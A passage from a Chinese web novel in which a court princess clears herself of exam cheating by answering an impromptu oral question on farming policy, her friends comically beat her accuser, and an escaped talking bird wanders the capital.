“这些人虽说管教无方,但也知道认错,不如看在她们往日还算安分的份上,从轻发落?
您这一顿骂,她们回去肯定得把孩子腿打断,够够的了。”
这声音——逍遥王姬明琅?
太傅嘴角抽了抽。
这位王爷不是在封地逍遥快活吗?什么时候回的京?
哦对,上次王女惹祸就听说她回京了,唉,王女这般秉性多半也是学了她了。
里面,姬明玥的语气依旧冰冷,但明显比方才缓和了几分:“从轻发落?朕若从轻发落,下次他们还敢纵容子女肆意妄为!”
“那不能,皇姐您一句话,他们哪还敢有下次?”
太傅连忙敲门:“陛下,臣有要事禀报!”
“进。”
太傅推门进去,一眼扫过御书房里的情形——
几个贵族家长齐刷刷跪在地上,周彦的母亲礼部尚书跪在最前面,额头贴着地面,肩膀微微发抖;太常寺卿跪在她旁边,手攥着帕子不停擦汗。
姬明玥坐在御座上,神色冰冷。
而一旁的椅子上,姬明琅手里拿着块糖糕,正悠哉悠哉地吃着,见太傅进来还冲他扬了扬下巴,算是打过招呼。
昭荧站在姬明玥身侧,脸上的伤已经被太医处理过,贴了一小块药膏,嘴角还有一点淤青,看着可怜巴巴的。
太傅收回视线,上前躬身行礼:“陛下,臣有喜讯禀报!”
姬明玥挑眉:“太傅请讲。”
“关于王女考试作弊一事,臣找到了证明王女清白的方法!”
此言一出,跪在地上的几个人同时抬起头,脸色变了几变。
太傅直起身,语速比平时快了不少:“让王女当众重考一次,沿用此次大考的题目,安排双倍监考,全程公开。
若王女写出的答卷与原卷思路一致、条理相近,便足以证明其清白,也能让所有质疑者无话可说!”
话音落下,昭荧眼睛刷地亮了,脸上的委屈一扫而空,挺直腰背就开口:
“姨母,
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我愿意重考!我一定能写出一样的答卷,证明自己没有作弊!”
姬明玥还没说话,姬明琅先放下糖糕,挑眉看过来:“哦?我们家荧儿这么有信心?”
昭荧用力点头。
姬明琅嘴角勾起一抹玩味的笑,拍拍手上的糖渣:
“那可得好好考,别给你母王丢脸,你要是考砸了,我可就当没你这个闺女了。”
“你什么时候当有这个闺女了?”姬明玥冷冷瞥她一眼。
姬明琅讪讪闭嘴,又拿起一块糖糕。
姬明玥收回视线,看向太傅,沉吟片刻,点了点头:“好,立刻安排,今日下午,就在宫学大殿。”
她扫了一眼跪在地上的几个人,语气不容置疑:“宫学所有学子、今日进宫的官员,还有宫学的所有太傅,都到场见证,全程公开,不许有半点猫腻。”
“臣遵旨!”太傅躬身领命。
跪在地上的几个家长脸色已经白得没了血色。
礼部尚书嘴唇哆嗦着,想说什么,被旁边的人拽了一把,又把话咽了回去。
这时候说什么都是错,只能祈祷那位王女是真的——真的什么?她们也不敢说啊!
姬明玥挥手让她们退下,几个人踉踉跄跄地爬起来,逃也似的退出御书房。
门关上,姬明琅又开口了:“皇姐,您说荧儿这丫头,是真有本事还是虚张声势?”
姬明玥没理她,看向昭荧。
昭荧对上姨母的目光,心里咯噔一下,但还是硬着头皮说:“姨母,我真的能写好,那一个月的功课,我不是白做的。”
姬明玥看着她,沉默片刻,语气里听不出喜怒:“那就好好考,考好了,朕有赏,考砸了——”
“姨母宽心,我不会考砸的。”
话及此,姬明玥也不再说什么,挥挥手让她回去准备。
昭荧转身要走,经过姬明琅身边时,被她一把拽住袖子。
“哎,荧儿。”姬明琅压低声音,凑到她耳边:“你要是真能考好,母王送你一匹好马。”
昭荧眼睛一亮,随即又板起脸:“我不要马,我要你以后别总说我是纨绔。”
“你本来就是啊。”
“母王!”
“好好好,不说了不说了。”姬明琅笑着松手,冲她挤挤眼睛:“去吧,好好准备。”
昭荧气鼓鼓地走了。
御书房里只剩姐妹二人。
姬明玥靠在椅背上,姬明琅就赶紧狗腿的上前帮其按摩太阳穴,却听姐姐忽然开口:“你觉得她能考好?”
姬明琅收起嬉皮笑脸,难得正经了几分:“不知道,但她既然敢应,就说明心里有底,这丫头,别的不说,骨子里的倔劲像我。”
姬明玥冷笑一声:“像你?呵!像你就完了。”
“皇姐您这话说的——”
姬明琅不乐意了:“像我怎么了?我好歹也是您亲妹妹,大周朝正儿八经的逍遥王,封地治理得井井有条——”
“行了。”姬明玥打断她:“你少说两句,朕头疼。”
姬明琅识趣地闭上嘴。
20. 解围
宫学大殿里挤得水泄不通。
两侧乌泱泱全是宫学学子,有来看热闹的,有来声援的,还有纯粹被挤进来的——
比如沈妤和林双双,一问是跟昭荧有关,这才踮着脚往前瞅。
昭荧站在中央案几前,一身素衣,在周围锦衣华服的衬托下显得格外扎眼。
礼部尚书、太常寺卿等几位官员站在一侧,脸色都不太好看。
上午刚被陛下劈头盖脸骂了一顿,这会儿又被拉来当见证人,心里憋屈得很,却又不敢不来。
太傅手持大考原题,先递到几位大人面前,郑重道:
“诸位大人,此次重考题目与大考原题一字不差,请诸位验真。”
礼部尚书周大人接过卷子,手都在抖。
上午被姬明玥骂得狗血淋头的画面还在眼前晃,她恨不得当场晕过去,可众目睽睽之下,只能硬着头皮看了一遍,又传给太常寺卿。
几人传阅完毕,面色僵硬地点头:“题目……无误。”
太傅收回试卷,转身看向昭荧:“王女,可准备好了?”
昭荧扫过周围那些质疑或看热闹的脸,嘴角扯了扯:“开始吧。”
她提笔就写。
却不知人群最外侧,裴泠箬静静站在一根柱子旁的阴影里。
月白色的衣裙被前面几个高个学子的背影遮了大半,若不仔细看,根本注意不到这里还站着个人。
她神色清冷,借着人群的掩护,视线牢牢落在昭荧身上。
她本不必来。
因为重考一事,今日休沐,她可以在相府看书、练字、弹琴,做任何“相府小姐该做的事”。
但出门时,她跟门房说了句“去书署买几本新书”,脚步却不自觉地拐向了皇宫的方向。
等回过神,人已经站在了宫学大殿外。
她眼里的昭荧很是认真,笔尖连停顿都不曾有。
却不知昭荧想让她正眼瞧一眼,在一个月里私下付出多少。
昭荧只感觉此刻状态比大考时还要流畅。
策论、经义、算术......一科接一科,毫无迟疑。
周围的议论声渐渐平息。
那些抱着看热闹心态来的学子,起初还交头接耳,后来不知什么时候闭了嘴。
一个时辰。
昭荧放下笔,墨迹未干:“太傅,学生答完了。”
全场哗然。
“一个时辰?连裴小姐大考时都用了一个半时辰!”
“这么快,该不会胡乱写的吧?”
太傅们围在一旁,时不时传阅她写完的卷子。
“与原卷思路一致,细节比之前更完善了。”一位太傅低声说。
“引经据典,条理清晰,绝非死记硬背能成。”另一位点头。
议论声嗡嗡的,但和之前已经不一样,质疑的声音少了,惊讶和犹疑多了。
昭荧没理会那些声音,只暗自松了口气,嘴角刚扬起一点笑意——
“不算!这根本不算!”
一个声音从人群中炸开,尖锐刺耳。
周彦冲了出来,脸色涨得通红。
礼部尚书脸色瞬间铁青,厉声呵斥:“孽障!休得胡言!太傅们已然验卷,你还敢捣乱?”
她恨不得冲上去把这个不争气的东西塞回娘胎。
上午被陛下劈头盖脸一顿骂,她好不容易才把这事圆过去,现在他又跳出来惹事,是真觉得周家命太长?
周彦却像没听见母亲的话,对着众人高声道:
“本来就不算!题目还是原来的,她早就答过一遍,熟能生巧罢了,怎么能证明她没作弊?”
这话一出,全场议论声再起,他赶紧接着说:
“要考就重新命题!并且不能由宫里的太傅、官员出题——谁知道你们是不是早就串通好,给她泄题?”
话音落下,连平时和昭荧不太亲近的学子,都皱起了眉头。
“这就过分了吧?重考已经够公正了,还要重新命题?”
“还不让宫里人出,那让谁出?请外头的人来?”
“周彦这是输不起吧?”
昭荧攥紧拳头,怒火中烧。
她明明凭真本事答完了,太傅们也验过卷了,这人怎么还阴魂不散?
她张嘴想反驳,却发现周彦虽然无理取闹,但提出的要求确实“听起来很有道理”。
重新命题,外人出题,这样就能彻底堵死所有质疑。
可她上哪儿去找外人出题?
又有谁敢给王女出题?
这时,眼角余光瞥见人群分开。
一道月白色的身影,缓缓走了出来。
昭荧的怒火瞬间消了大半。
裴泠箬!
她怎么会来?她不是……不是不理她了吗?
裴泠箬走到大殿中央,神色清冷,目光扫过周彦,又淡淡瞥了一眼摊在桌上的答卷。
“周公子所言,并非全无道理。”
声音不大,却清晰得传遍整个大殿。
昭荧脸上的笑容僵住,愣愣地看着裴泠箬,眼里的光亮一点点褪去,只剩下难以掩饰的诧异。
什么意思?
她……也觉得自己应该重新考?
周彦看到有人站自己这边,还是京城第一才女,立刻附和:
“看!裴小姐也这么认为!就是这个道理!她就是借着熟题作弊,必须重新命题!”
礼部尚书松了口气,连忙点头:“裴小姐明事理,本官也觉得,重新命题更能服众。”
太傅们面露难色,低声商议:“仓促之间,重新命题本就不易,还不能由我们出,这……”
昭荧站在那儿,看着裴泠箬清冷的侧脸,心里像被人重重打了一拳。
她以为她是来帮自己的.....结果,是来落井下石的?
就在众人僵持之际,裴泠箬再次开口。
“周公子说的对,熟题不足以服众,重新命题便是。”
话锋一转——
“不过笔试题耗时久,且仍有‘提前串通’的嫌疑,不如我给王女出一道口语题,如何?”
全场瞬间安静。
口语题?
临场应答,无任何准备时间,最能检验真才实学,也最能打消“作弊”“泄题”的疑虑!
周彦也懵了,下意识道:“裴小姐,你……你出口语题?万一她胡言乱语,怎么评判?”
裴泠箬神色未变,淡淡回应:“周公子,既然你觉得这样不公,那样不妥,这本是小事,却闹得此等局面.....”
她摇了摇头:“我与王女不合,人尽皆知,若由我出题,绝无偏袒可能,如此可算公正?”
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她又看向太傅和官员们:“诸位太傅皆是饱学之士,诸位大人也身居高位,王女临场应答,诸位共同评判,是否言之有物、条理清晰,一目了然,何来胡言乱语之说?”
“题目我当场拟定,不与任何旧题重复,不提前透露一字,王女无需准备,当场应答即可。
若能答得有条有理、引经据典,便足以证明她清白;若答不出、答不全——”
她看向昭荧,神色平静:“任由各位处置便是。”
这话一出,全场皆服。
口语题临场发挥,无任何作弊可能。
裴泠箬与昭荧不合,出题公正无偏袒,评判人众多,彻底堵死了所有质疑的口子。
连周彦都找不出反驳的理由,只能硬着头皮点头:“好……就按裴小姐说的来!”
昭荧愣愣地看着她。
失望瞬间消散,取而代之的是惊讶,和一丝……连她自己都没察觉的暖意。
裴泠箬刚才那句话——“我与王女不合,人尽皆知”,说得那么坦然,那么平静。
可她知道,她们不是真的不合。
至少……曾经不是。
裴泠若依旧站在哪儿,似乎是等肯定。
太傅们纷纷点头,面露赞许:“裴小姐此计甚妙!口语题最能验真才实学,公正至极!”
“王女可对臣女的提议有异议?”
昭荧摇了摇头。
礼部尚书站在一旁,脸色复杂。
她看看周彦,又看看裴泠箬,再看看昭荧,心中小算盘拨得噼里啪啦响——
盼着昭荧答不出,周家还能挽回点颜面。
又怕周彦再胡言乱语,惹来陛下更重的责罚。
裴泠箬颔首,神色平静地开口,语调清晰,传遍大殿:
“既然如此,我的题目是——”
“结合近日农事,谈谈‘劝农’之策,无需长篇大论,言之有物、条理清晰即可。”
此题一出,众人暗自点头。
劝农之策,贴合大考“论农桑之本”的方向,既不刁难,又能检验真才实学。
毕竟临时拼凑,若无真材实料者,三句话就得露馅。
昭荧闻言,眼底却没有丝毫慌乱。
她略一沉吟,便开口了:
“学生以为,劝农之策,首在兴水利、轻赋税。”
“水利不兴,旱涝无常,农人辛苦一年,颗粒无收者常有,当于农闲时征调民力,疏浚河道、修建陂塘,旱能灌,涝能排。”
“赋税过重,农人无余粮,便无余力深耕细作,当酌情减免,尤其灾年,更应免赋赈济,让农人得以喘息。”
她停顿一会,喘口气继续道:
“次在教农法、储粮食。”
“农人耕作,多凭经验,不知新法,当派农官下乡,教以轮作、选种、施肥之法,提高亩产。”
“仓储不足,丰年谷贱伤农,灾年无粮可赈,当于各州县设常平仓,丰年收储,灾年放粮,平抑粮价,稳定民心。”
说到这里,她抬眼看向裴泠箬,语气里多了几分笃定:
“最后,在于重农官、惩贪腐。”
“农官若尸位素餐,只知盘剥,再好的政策也落不到实处,当严考农官政绩,优者奖,劣者黜,若有贪腐克扣农人钱粮者——”
她声音一沉:“严惩不贷!”
21. 扬眉吐气
昭荧话音落下,大殿瞬间跟着安静。
所有人完全沉浸在她条理清晰、字字有据的应答里。
谁也没想到,本来本着看戏的心情来到这,不料这个顽劣不学的王女,竟真能在临场口语题中,说出如此有见地的劝农之策。
最先打破寂静的,还属是人群中的沈妤和林双双。
两人踮着脚,见好友说的凛然,十分捧场的扯着嗓子高声喊了一句:“好!说得好!”
人群本就被昭荧的表现震撼,一被她们带动,瞬间炸开了锅,叫好声接踵而至。
太傅们还没来得及开口评判,一旁的礼部尚书早已面红耳赤、羞愧难当。
昭荧的应答但凡是把书读进去了的,哪还能分不清结论呢?这清白是彻底证明了,而自己的儿子周彦,全程胡搅蛮缠、无理取闹。
想想上午被姬明玥痛骂的画面,再看看此刻众人的目光,她恨不得找个地缝钻进去。
礼部尚书再也顾不上体面,几步冲过去,一把揪住周彦的耳朵,力道大得让周彦痛呼出声,厉声呵斥:“孽障!还不快给王女请罪!”
周彦被揪得龇牙咧嘴,脸色一阵青一阵白,看着昭荧从容的模样以及众人嘲讽的目光,再也没了之前的嚣张,只能低着头,支支吾吾地开口:
“王……王女恕罪,是学生……是学生胡言乱语,冤枉了您……”
昭荧瞥了他一眼,没有多说什么,只是淡淡颔首。
她要的不是道歉,是证明自己的清白,如今目的达到,再多的斥责,也显得多余。
在大殿中央,她的目光,自始至终都落在裴泠箬身上。
两人隔着喧闹的人群对视,没有言语,没有表情。
周围的喝彩声、议论声,仿佛都被隔绝在外,时间流速都慢了下来。
昭荧眼底满是疑惑,百思不得其解裴泠箬为什么站出来。
她不是……不想再跟她有交集了吗?
就在她张了张嘴,想要开口的瞬间,裴泠箬先移开视线开了口:
“王女应答如何,交由诸位太傅、大人评判便是。”
留下这一句后,她没有再多看昭荧一眼,也没有理会周围的目光,转身便朝着大殿外走去。
那抹清冷孤傲的月白色身影,很快便消失在人群的尽头。
昭荧下意识地想追上去,脚步刚动,就被冲上来的沈妤和林双双死死围住。
两人一脸激动,拉着她的手絮絮叨叨:“明曜!你也太厉害了吧!虽然听不懂,但激动的我都快哭了!”
林双双白了四肢发达肚子里没半点墨水的好友一眼,但还是附和道:
“就是就是!周彦那家伙终于闭嘴了,看他以后还敢不敢污蔑你!”
昭荧被两人拉着,视线却依旧锁着裴泠箬离开的方向,心里的疑惑越来越深。
她今日的相助,到底是巧合,为了追求公正,还是……另有缘由?
——
宫学大殿的动静,很快就传到了御书房。
传信的内侍躬身禀报,十分激动的将昭荧临场应答劝农之策的事情,一五一十地告知姬明玥。
连昭荧说的每一句话,都尽量复述得一字不差。
姬明玥坐在御座上,起初还能神色平静地听着。
可越往下听,眼底的欣慰和激动就越浓,抓着御案的手,都开始微微有些颤抖。
当听到昭荧说出“严惩贪腐、优奖农官”的话时,姬明玥再也忍不住,眼眶瞬间红了,差点涕泪横流。
她就知道!教养昭荧多年,耗尽心血,怎么可能养出一个不学无术的孩子?
姬明玥深吸一口气,压下眼底的激动,难掩喜悦,郑重对着内侍下令:
“传朕旨意,重赏王女姬昭荧!赐黄金百两、锦缎二十匹,另赏《农桑辑要》一套,勉励其继续精进学业!”
一说完,似乎觉得不够,竟是带上了几分炫耀和期许补充道:
“再让人把王女今日应答的劝农之策,一字不差地抄写下来,裱装整齐,张贴在城中告示栏。
让全城百姓都知道,大周朝的王女,不是顽劣不学的纨绔,是有真才实学、心怀百姓的好王女!”
“臣遵旨!”内侍连忙躬身应下,转身退出去传旨。
一旁的姬明琅,看着姬明玥激动的模样,嘴角勾起一抹玩味的笑:
“皇姐,你看我说什么来着?荧儿这丫头,骨子里有股倔劲,只要肯用心,肯定能成器。”
姬明玥没好气白了她一眼,但语气里却满是欣慰:
“还是这孩子自己肯努力,但也多亏了裴家那丫头,若不是她提出口语题,还不知要闹到什么时候。”
姬明琅挑眉:“哦?裴小姐?有意思,她倒是有心了,莫不是看上我们家荧儿了?”
姬明玥没理会她的调侃,眼底满是期许:“不管她是有心还是无意,此次都帮了明曜大忙,传朕的话,赏裴泠箬绸缎十匹、笔墨百锭,也算谢她今日公正出题。”
与此同时,礼部尚书带着周彦,匆匆赶
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到御书房请罪。
姬明玥正在兴头上,也不想扫了自己的兴,便下令道:
“礼部尚书教子无方,罚俸银半年,闭门思过三日;其子周彦顽劣无知、肆意污蔑皇嗣,罚杖责二十,抄写《礼记》满三月,回去执行,好好反省!”
“臣遵旨,谢陛下开恩!”礼部尚书连忙磕头谢恩,起身时,脸色铁青,满心怒火。
这一切,都是周彦这个孽障惹来的,若不是他,自己也不会接连被陛下痛骂、受罚。
她再也没看周彦一眼,怒气冲冲地转身,自顾自地走出御书房,满腔的憋屈和怒火。
周彦连忙爬起来,捂着还没挨打的屁股,跌跌撞撞地跟在后面,一边追一边喊:“母亲!母亲等等我!母亲!”
两人一前一后走出皇宫,周彦追得气喘吁吁,心里又怕又怨,可不敢有半句怨言。
追着追着,他总觉得不对劲,背后像是有人跟着自己,被窥视的感觉,越来越强烈。
他停下脚步,猛地回头,可身后空荡荡的,什么也没有;又走了几步,那种感觉再次传来,他又回头,依旧空无一人。
这样反复几次,周彦心里开始发毛,脚步也不由得加快了。
就在他最后一次回头,想要确认到底有没有人的时候,一个麻袋突然从头顶套了下来,瞬间遮住了他的视线,一股蛮力将他按倒在地。
麻袋外,沈妤和林双双对视一眼,默契地点了点头,眼里满是解气的笑意。
她们早就看周彦不顺眼了,之前污蔑昭荧、和昭荧动手,她们就想教训他,今日正好,趁他落单,好好给他出出气。
两人挽起袖子,对着麻袋里的周彦,一顿拳打脚踢。
周彦在麻袋里挣扎、痛呼、求饶,可沈妤和林双双根本不为所动,直到打得解气,才停下手脚。
两人合力,将套着麻袋的周彦抬起来,走到城中一处偏僻无人之地,找了一棵大树,把周彦连人带麻袋,牢牢地挂在了树干上,离地面足有一人多高。
沈妤又从不知从哪里牵来一条恶犬。
恶犬对着树上的麻袋,疯狂地吠叫,吓得麻袋里的周彦浑身发抖,连哭都不敢大声,没过多久,就传来一阵刺鼻的尿骚味——他竟被吓得尿裤子了。
沈妤和林双双看着树上瑟瑟发抖的周彦,相视一笑,拍了拍手上的灰尘,蹦蹦跳跳地离开了,独留下周彦在树上,被恶犬吠得魂飞魄散。
他这波啊,属实是搬起石头砸自己脚,污蔑不成反被揍,丢人丢到家了!
22. 天生宰辅
昭荧回寝宫时,神气的脚步都飘了,因着下午宫学的事,姨母可是把她好一顿夸,还给了不少赏赐,美死她了。
她一路走一路回味大殿上的事,很快就到裴泠箬突然站出来出题的样子,嘴里又嘀咕上了。
明明说了“各归其位,互不打扰”,今天怎么又冒出来了?还帮她想了个什么口语题?这算什么意思?施舍?同情?
还是说——
“快点!王女就要回来了!”
昭荧的思绪被一声尖叫硬生生拽回来。
她抬头,看见寝宫大门敞着,宫女们像无头苍蝇一样满地乱窜。
有的蹲在廊下扒拉花盆,有的踮着脚往树梢上瞅,还有两个趴在地上屁股撅得老高地往床底下张望。
“干什么呢你们?!”昭荧大步跨进去,一把攥住领头宫女的袖子:“我回来了你们没看见?一个个慌慌张张的,成何体统!”
那宫女被她拽得一个踉跄,回头看见是她,“扑通”就跪下了。
“王、王女恕罪!出大事了!”
“什么大事?”
“那只……那只鸟……”
昭荧心中“咯噔”一下。
“鸟怎么了?”
“午后喂食的时候,小的一个没留神,笼门没关严实,它扑棱两下就飞出去了!”
宫女的声音都在抖:“我们找了一下午,哪儿都找不着!”
昭荧脑子“嗡”的一声。
她一把揪住宫女的领子,声音都变了调:“你说什么?!那鸟会说人话你知不知道?!它在我这儿听了多少私房话你知不知道?!”
宫女吓得浑身哆嗦:“知、知道……”
“知道还不看好?!”昭荧松开手,急得在原地转了两圈:
“它要是飞到姨母那儿或者飞到哪个大臣耳朵边学我说话,那就完啦!”
看着宫女们害怕到脸色发白的模样,她也知道她们不是故意的,鸟都飞了,当务之急是寻回来才是!
她深吸一口气,强迫自己冷静下来。
“传我命令,让侍卫和内侍都动起来,分区域搜!”
她语速极快,一边说一边往外走:“御花园、各宫殿宇,连茅房都不许放过!找到以后不许惊它,拿网兜扣住,塞回笼子!”
“是!”宫女们四散而去。
昭荧自己也往外冲,跑了两步又折回来,从墙上摘下一张捕蝶网,拎着就往外跑。
一边跑一边在心里骂:
姬昭荧你可真是个倒霉催的,好不容易风光一回,还没臭美够呢,就又栽大跟头啦?
与此同时,相府。
裴泠箬的马车停在侧门,青竹先跳下来,伸手扶她。
“小姐慢些。”
裴泠箬踩着脚凳下来,月白色的裙摆拂过车沿,一丝褶皱都没有。
刚进二门,管家就迎了上来,躬身道:“小姐回来了,相爷在书房等您,说有要事相商。”
裴泠箬闻言,只微微颔首:“知道了。”
青竹小跑着跟上,压低声音:“小姐,要不要先换身衣裳?”
“不必。”裴泠箬淡淡道:“谈完再换。”
她穿过垂花门,沿着回廊往书房走。
廊下的灯笼已经点上了,橘黄的光照在她脸上,把清冷的脸映得柔和了几分。
青竹跟在后面,看着自家小姐挺直的背影,心里默默叹了口气,相爷事情还真多.....
书房的门开着,裴文渊坐在案前,面前摊着几封信,眉头拧成了疙瘩。
听见脚步声,他抬起头,脸上露出如释重负的表情:“静攸,你可算回来了。”
裴泠箬走进去,开门见山直接问:“何事?”
裴文渊把那几封信推到她面前,颇为无奈:“江南来的急报,你看看。”
裴泠箬拿起信,一封一封看过去。
第一封,说江南连月干旱,稻田绝收,流民四起。
第二封,说流民聚集城外,每日新增数百,地方官束手无策。
第三封,说有人趁乱哄抬粮价,有流民开始抢粮,局面快压不住了。
她看得很快,神色从头到尾没有变化。
“地方官只知道请旨赈灾,半点实际办法都没有。”
裴文渊揉着眉心,有些埋怨道:“陛下要我这几日就拿个方案出来,可这流民问题哪是几句话能解决的?”
裴泠箬没接话,径自走到案前,铺开一张宣纸,拿起笔架上的狼毫,蘸了墨。
“父亲,江南流民之事,看似天灾,实则是人祸叠加。”
裴文渊一怔,抬头看她。
裴泠箬笔尖悬在纸上,一边思索一边说:“其一,天灾是引子,旱涝交替,稻田绝收,百姓无粮可食,才被迫流离。
其二,地方官不作为是根源,天高皇帝远,陛下也无暇分心,才要下面的人分担一二。
可那些人要么尸位素餐,不懂安抚流民,要么与地方乡绅勾结,囤积粮食、哄抬粮价,朝廷之前拨下去的赈灾粮款,真正落到百姓手里的能有几成?”
“其三,朝廷此前的赈灾之策过于粗放,只知放粮,却未解决流民的根本生计,粮尽了,流民依然会四处流离,滋生乱局。”
裴文渊坐在一旁,静静听着,眼中的赞许几乎要溢出来。
他这个女儿,看问题从来都是一针见血,总能挖到根子上。
比朝中那些只会喊“陛下圣明”、真遇到事就抓瞎的官员,强了不知多少倍。
哪怕没有“成年后承袭相位”的约定,以她的才能,只要踏入朝堂,自己这个位置于她而言也不过是时间问题。
“对策我分成三步。”
“第一,急赈。命钦差携圣旨即刻前往江南,开官仓放粮,按流民人口定量发放。
钦差全程监督,若有地方官胆敢克扣,就地革职,押解回京问罪。”
她写得极快,条理清晰,逻辑严密。
“第二,以工代赈。招募流民修缮江南河道、加固堤坝,既解决流民生计,又能治理水患,一举两得。
工钱按日发放,粮食与铜钱并行,确保他们有力气干活,也有盼头。”
“第三,清查地方积弊。钦差同步严查江南地方官吏,凡是贪腐、不作为者,一律严惩。
同时选拔贤能官员填补空缺,建立长效监管机制,确保赈灾粮款、惠民政策能真正落到百姓手里。”
她放下笔,把写满字的宣纸推
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到裴文渊面前。
裴文渊凑过来看,越看眼睛越亮,连声说:“周全!太周全了!静攸,若是没你在,为父真不知如何是好了!”
裴泠箬神色淡淡,将宣纸上的墨迹吹了吹:“父亲只需在奏折上署名上奏即可,钦差人选、粮款调配,我会再拟一份明细,交由父亲核对。”
她眼底闪过一丝凝重:“只是江南流民之事,拖不得,今日把奏折拟好,明日一早便递上去,迟则生乱。”
裴文渊连连点头,不敢反驳。
之后,裴泠箬一个人坐在书房里,笔尖不停。
明细比奏折更琐碎,流民的人数估算、粮食的运输路线、工钱的发放标准、钦差的随行人员名单......每一条都要写清楚,不能有半点含糊。
她写得很专注,连窗外的天色一点点暗下来都没察觉。
青竹端了盏灯进来,轻手轻脚放在案角,又退了出去。
写到一半,裴泠箬停了笔,抬手揉了揉眉心。
窗外起了风,吹得窗棂轻轻响,院子里花香一阵一阵涌进来,甜得有些腻人。
她起身走到窗边,推开窗户透气。
夜风吹进来,吹散了书房里沉闷的墨香。
她靠在窗框上,看着院子里屋檐的影子发呆。
今天在大殿上,她其实不该站出来的,她也不知道自己怎么就走出去了。
大概是……看不下去吧。
事事都要求一个公正,只是她真答出来了,这倒实在让她意外。
正想着,窗台上忽然落下一团黑影。
“扑棱棱”一阵翅膀响,裴泠箬下意识往后退了半步,定睛一看——
一只鸟蹲在窗台上,歪着脑袋看她。
这鸟通体漆黑,嘴巴是金色的,羽毛油光水滑,模样生的稀奇。
她微微蹙眉,那鸟歪着脑袋打量她半天,忽然张嘴喊了一句:
“对不起……对不起……”
她让吓了一跳,那鸟又紧着喊——
“退下吧……退下吧……”然后又扑腾两下翅膀,换了个调子:“冤枉啊——大人明鉴——”
裴泠箬不由的也好奇起来,正要叫人来问问,那鸟又换了个调子,声音突然变得委屈巴巴,像是在模仿谁的语气:
“静攸……对不起嘛……我真不是故意的……”
裴泠箬的脚步顿时蹲在原地,这鸟前面说谁?
但没等她走回窗前,那鸟又叫了两声“退下吧”,似乎觉得没意思,扑棱着翅膀飞走了,消失在夜色里。
——
皇宫这边,昭荧拎着捕蝶网,跑遍了御花园的每个角落。
假山后面,没有。
荷花池边,没有。
哪哪都没有。
她站在一棵树下,累得直喘气,手里的网兜耷拉在地上,沾了一层泥。
“王女!”一个侍卫跑过来:“西六宫搜遍了,没有!”
“东六宫呢?”昭荧问。
“也搜了,没有!”
昭荧叹一口气,正要说话,又一个内侍跑过来:“王女!北边角楼有人说看见一只黑鸟往宫外飞了!”
“宫外?!”昭荧差点跳起来:“飞出宫了?!”
23. 怪鸟
怪鸟离开相府后,扑棱着漆黑的翅膀,漫无目的地飞着。
夜风有些凉,吹得它羽毛都竖起来几根。
它在空中绕了几圈,不知道该往哪儿去。
宫里那个暖和架子是回不去了,那个整天对着它絮絮叨叨的王女,估计这会儿正满世界找它呢。
想想就烦。
怪鸟飞累了,翅膀也有些发酸,瞥见街边一间屋舍的窗台上摆着一碗杂粮,便扑腾着落了下去,歪着油光水滑的脑袋,警惕地打量着屋内。
屋内坐着一个老妇人,正低头缝补衣裳,旁边还趴着个打瞌睡的小孙女。
烛火昏黄,照着墙上贴的年画,看着倒是寻常人家的光景。
怪鸟想起在昭荧宫里的日子,只要它学舌讨喜,总能得到赏赐——瓜子、花生、有时候还有一块小点心。
那王女虽然聒噪了些,待它还算不错。
它清了清嗓子,模仿着昭荧平日里的语气,脆生生喊了一句:“赏!”
老妇人抬头瞥了它一眼。
就一眼。
然后低下头,继续缝衣裳。
怪鸟愣了愣,以为她没听清,又提高了音量喊:“赏!赏!”
小孙女被吵醒了,揉着眼睛看过来,扯了扯老妇人的袖子:“奶奶,有鸟!”
老妇人这才又抬眼,淡淡扫了它一下,非但没有像昭荧那样笑着喂它东西,反而挥了挥手,不耐烦地驱赶:
“去去去,哪来的野鸟,弄脏了窗台。”
怪鸟不肯走,又试着模仿内侍的声音喊:“陛下驾到——陛下驾到——”
这一嗓子倒是把老妇人吓了一跳,她左右张望了一下,发现是鸟在叫,脸色顿时黑了,拿起一旁的扫帚就往窗台上扫:
“晦气东西!什么不好学,学这些!”
怪鸟吓得扑棱着翅膀飞起来,差点被扫帚拍到,满心委屈——这个人,怎么不喜欢听它说话?
它在屋顶上盘旋了一圈,不甘心地回头看了一眼,那老妇人已经把窗台上的杂粮碗收了进去,“啪”一声关上了窗户。
怪鸟悻悻地飞走了。
它继续漫无目的地飞着,不知道该往哪里去,只觉得浑身疲惫,又饿又渴。
肚子咕咕叫了两声,它低头看了看,下面是一条小巷子,黑漆漆的,连个吃食的影子都没有。
飞了不知道多久,它瞧见一户宅院,院墙不高,院内种着几棵梧桐树,灯火通明,隐隐约约传来人声,便落在了院外的树枝上,缩了缩身子,打算歇一歇,顺便听听有没有什么好学的。
刚站稳,屋内就传来两个女声,叽叽喳喳的,带着几分娇嗔和懊恼。
怪鸟竖起耳朵,金色的嘴巴微微张着,随时准备模仿。
——
屋内,沈妤和林双双正吵得不可开交。
准确地说,是林双双单方面在吵,沈妤在哄。
“双双,好双双,你倒是说我做错什么了?”
沈妤低声下气的,她真不知道自己做错了什么,但为了避免惹恼好友,还是好声好气的委屈道:
“这可是我家,我的卧房我的床,你让我睡地上,合适吗?”
林双双哭了有一会了,这回眼眶红红的坐在床边,双手抱胸,别过脸不看她,哽咽着一条条数落:
“合适!怎么不合适?说好跟我过两招,你却处处放水,什么意思?你是不是小瞧我?觉得我连你都打不过,需要你让着?”
这话一出,沈妤就头疼了。
她们一个是兵部侍郎之女,一个是禁军副统领之女,自小就跟着家里人学拳脚功夫,平日里最爱的就是约着比划几招,输赢本是常事,可林双双就是这样,赢了便得意洋洋,输了便耍小性子,连带着自己放水让她赢,她也不领情。
沈妤叹了口气,但还是耐着性子解释:“我哪有小瞧你?我就是怜香惜玉,怕下手重了伤着你。”
“谁要你怜香惜玉?”林双双猛地转过头,瞪着她,不服气反驳道:“我林双双学功夫,不是为了让你让着我的!你让着我,就是看不起我!”
“我没有——”
“你有!”林双双越说越气,站起来指着她:“你就是觉得我功夫不如你,所以才放水!沈妤,我告诉你,我不需要!”
沈妤被她气笑了,摊了摊手,随口说了一句:“行吧行吧,我不跟你吵,反正不管我怎么做,你都有话说。
还是思蕴和明曜好,跟她们待在一起,从来不用这么费劲。”
这话一说出口,她就知道坏了。
果然,林双双的脸色瞬间变了。
“你还好意思说?”林双双声音都高了八度:“唐思蕴和明曜那两下子,哪能跟我们比?拳脚功夫不如我们,你偏偏更喜欢跟她们玩,不就是觉得我动不动就动手,不够温柔吗?”
“我不是那个意思——”
“你就是那个意思!”林双双根本不给她解释的机会:“不就是因为她们不会跟你动手,不会跟你吵吗?”
